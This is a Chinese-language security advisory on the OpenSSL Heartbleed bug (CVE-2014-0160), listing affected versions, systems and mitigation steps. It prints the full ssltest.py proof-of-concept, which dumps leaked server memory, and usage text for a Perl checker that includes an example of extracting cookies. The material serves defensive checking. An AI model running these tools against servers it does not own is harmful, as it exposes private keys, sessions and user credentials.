OpenSSL CVE-2014-0160 嚴重漏洞
OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160 ),被稱為「Heartbleed 」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。
詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug
軟體名稱:OpenSSL
影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
修復版本:1.0.1g / 1.0.2-beta2
影響系統版本
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
CentOS 6.5, OpenSSL 1.0.1e-15
Fedora 18, OpenSSL 1.0.1e-4
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
NetBSD 5.0.2 (OpenSSL 1.0.1e)
OpenSUSE 12.2 (OpenSSL 1.0.1c)
影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務
OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt
A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.
如何自我檢測?
要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。
直接輸入 Domain 即可查詢,例如「fbi.gov」。
使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。
原始碼如下:
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected] )
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser ( usage = '%prog server [options]' , description = 'Test for SSL heartbeat vulnerability (CVE-2014-0160)' )
options . add_option ( '-p' , '--port' , type = 'int' , default = 443 , help = 'TCP port to test (default: 443)' )
def h2bin ( x ):
return x . replace ( ' ' , '' ). replace ( ' \n ' , '' ). decode ( 'hex' )
hello = h2bin ( '''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''' )
hb = h2bin ( '''
18 03 02 00 03
01 40 00
''' )
def hexdump ( s ):
for b in xrange ( 0 , len ( s ), 16 ):
lin = [ c for c in s [ b : b + 16 ]]
hxdat = ' ' . join ( '%02X' % ord ( c ) for c in lin )
pdat = '' . join (( c if 32 <= ord ( c ) <= 126 else '.' ) for c in lin )
print ' %04x: %-48s %s' % ( b , hxdat , pdat )
print
def recvall ( s , length , timeout = 5 ):
endtime = time . time () + timeout
rdata = ''
remain = length
while remain > 0 :
rtime = endtime - time . time ()
if rtime < 0 :
return None
r , w , e = select . select ([ s ], [], [], 5 )
if s in r :
data = s . recv ( remain )
# EOF?
if not data :
return None
rdata += data
remain -= len ( data )
return rdata
def recvmsg ( s ):
hdr = recvall ( s , 5 )
if hdr is None :
print 'Unexpected EOF receiving record header - server closed connection'
return None , None , None
typ , ver , ln = struct . unpack ( '>BHH' , hdr )
pay = recvall ( s , ln , 10 )
if pay is None :
print 'Unexpected EOF receiving record payload - server closed connection'
return None , None , None
print ' ... received message: type = %d, ver = %04x, length = %d' % ( typ , ver , len ( pay ))
return typ , ver , pay
def hit_hb ( s ):
s . send ( hb )
while True :
typ , ver , pay = recvmsg ( s )
if typ is None :
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24 :
print 'Received heartbeat response:'
hexdump ( pay )
if len ( pay ) > 3 :
print 'WARNING: server returned more data than it should - server is vulnerable!'
else :
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21 :
print 'Received alert:'
hexdump ( pay )
print 'Server returned error, likely not vulnerable'
return False
def main ():
opts , args = options . parse_args ()
if len ( args ) < 1 :
options . print_help ()
return
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
print 'Connecting...'
sys . stdout . flush ()
s . connect (( args [ 0 ], opts . port ))
print 'Sending Client Hello...'
sys . stdout . flush ()
s . send ( hello )
print 'Waiting for Server Hello...'
sys . stdout . flush ()
while True :
typ , ver , pay = recvmsg ( s )
if typ == None :
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord ( pay [ 0 ]) == 0x0E :
break
print 'Sending heartbeat request...'
sys . stdout . flush ()
s . send ( hb )
hit_hb ( s )
if __name__ == '__main__' :
main ()
使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。
使用說明:
Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)
Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port
--starttls proto[:arg] - start plain and upgrade to SSL with
starttls protocol (imap,smtp,http,pop)
-T|--timeout T - use timeout (default 5)
-H|--heartbeats N - number of heartbeats (default 1)
-s|--show-data [L] - show heartbeat response if vulnerable, optional
parameter L specifies number of bytes per line (16)
-R|--show-regex-data R - show data matching perl regex R. Option can be
used multiple times
-q|--quiet - don't show anything, exit 1 if vulnerable
-h|--help - this screen
Examples:
# check direct www, imaps .. server
check-ssl-heartbleed.pl www.google.com:443
check-ssl-heartbleed.pl www.google.com:https
check-ssl-heartbleed.pl mail.google.com:imaps
# try to get Cookies
check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443
# check webserver via proxy
check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000
# check imap server, start with plain and upgrade
check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143
# check pop server, start with plain and upgrade
check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110
# check smtp server, start with plain and upgrade
check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587
應對措施
如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?
確認自己的 OpenSSL 版本是否在受害範圍
使用 ssltest.py 檢測工具檢測是否含有漏洞
更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
重開所有與 OpenSSL 函式庫相關之服務
重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
將網站舊憑證撤銷
清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生
詳細討論與建議可以參考
Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it
誰會是目標呢?
真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun 平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。
怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。
小結
就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!